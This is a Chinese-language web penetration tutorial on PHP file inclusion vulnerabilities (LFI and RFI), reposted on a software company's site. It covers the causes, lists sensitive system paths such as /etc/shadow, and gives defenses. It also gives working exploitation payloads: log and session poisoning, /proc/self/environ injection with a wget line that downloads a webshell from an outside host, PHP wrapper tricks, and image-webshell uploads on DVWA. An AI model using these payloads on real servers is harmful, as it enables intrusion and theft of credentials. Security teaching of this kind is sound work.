LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

【Web渗透】文件包含漏洞


2023年12月11日 13:17 本文热度 690

一、文件包含漏洞概述

1.什么是文件包含

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。

2.文件包含漏洞产生原理

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞

例子

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

show.php即可为用户上传的可执行的恶意脚本文件

包含文件内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么

特点

条件

  • include()等函数通过动态变量的方式引入需要包含的文件。

  • 用户能够控制这个动态变量。

php相关配置

allow_url_fopen=On// 本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在allow_url_include=On// 远程文件包含(RFI)

3.存在文件包含的脚本语言及应用函数

  • php

require:函数出现错误时,会直接报错并退出程序执行

require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。

include:出现错误时,会出现警告但是程序会继续执行

include-once:出现错误时,会抛出警告,且仅包含一次

  • jsp/servlet

ava.io.file()

java.io.filereader()

  • asp

include file

include virtual

4.文件包含漏洞的危害

1、敏感信息泄露

2、获取Webshell

3、任意命令执行

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

二、文件包含漏洞类型

1.本地文件包含漏洞(LFI)

能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。

包含服务器本身存在的恶意文件 a.txt

<?php

phpinfo();

?>

b.php

<?php

$b=$_GET['id'];

include($b);

?>

payload

localhost/b.php?id=a.txt //返回phpinfo页面

注:

  • 两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)(相对路径./当前目录 ../上级目录)

  • 被包含的页面的后缀无论是什么都会当做PHP解析

2.远程文件包含(RFI) 包含其他网站上的恶意文件 远程文件包含利用条件:在php.ini中allow_url_fopen=on、allow_url_include=on payload:

localhost/b.php?id=http://ip/文件路径

注:远程包含的文件路径必须是绝对路径

三、常用的防御方式

  • 设置白名单

代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。

  • 过滤危险字符

由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在 Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP 文 件。

  • 设置文件目录

PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的 话,PHP仅仅在该目录内搜索文件。

  • 关闭危险配置

PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包 含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。

四、常用的利用方式

1.本地文件包含配合日志文件

1、日志的默认路径 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用户安装目录的logs目录下 2、web中间件默认配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开) 4、防御 隐藏或修改默认日志文件 设置日志文件读取权限

找到Apache路径,利用包含漏洞包含日志文件获取Webshell。

Apache两个日志文件:access.log、error.log 很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。

各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端的字节数

当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时

当访问不存在的资源时,apache日志同样会记录。

访问127.0.0.1/include/<?php phpinfo();?>,再包含日志文件

2.本地文件包含配合/proc/self/environ文件

1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、检查proc/self/environ是否可以访问www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可读就注入代码 访问:www.aaa.com/view.php?page=../../../../../proc/self/environ 选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器. 4、访问shell 5、防御: 设置proc/self/environ不可访问

3.本地文件包含配合session文件

?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //读取session文件

利用条件:

session的存储位置可以获取。

通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

通过猜测默认的session存放位置进行尝试。

session中的内容可以被控制,传入恶意代码。

示例:

<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?>

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:"ctfs"

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:"<?php phpinfo();?>";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

4.php伪协议

PHP 文件包含漏洞姿势总结

PHP内置了很多URL风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,如下所示:

  • php://filter

有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:

这时候我们可以以base64编码的方式读取指定文件的源码:

输入:php://filter/convert.base64-encode/resource=文件路径

得到config.php加密后的源码:

  • data://

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

  • zip:// 执行压缩文件

如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。

以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:

通过zip://协议执行zip压缩包中的phpinfo.php文件:

  • php://input

  • phar

  • 总结

5.配合文件上传使用

有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

以DVWA平台为例,编辑一个图片马,内容如下:

找到上传点进行上传:

文件保存的完整路径为:

C:\phpStudy\WWW\hackable\uploads\webshell.jpg

DVWA平台low等级文件包含漏洞页面如下:

该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:

现在我们利用该页面去执行我们上传的图片马,路径需要从C:\phpStudy\WWW\vulnerabilities\fi\ 转到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

构造URL如下,页面无报错:

可以看到fi文件夹中生成了一个webshell:

使用webshell管理工具连接即可。

注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

五、常用的绕过方式


该文章在 2023/12/11 16:06:02 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved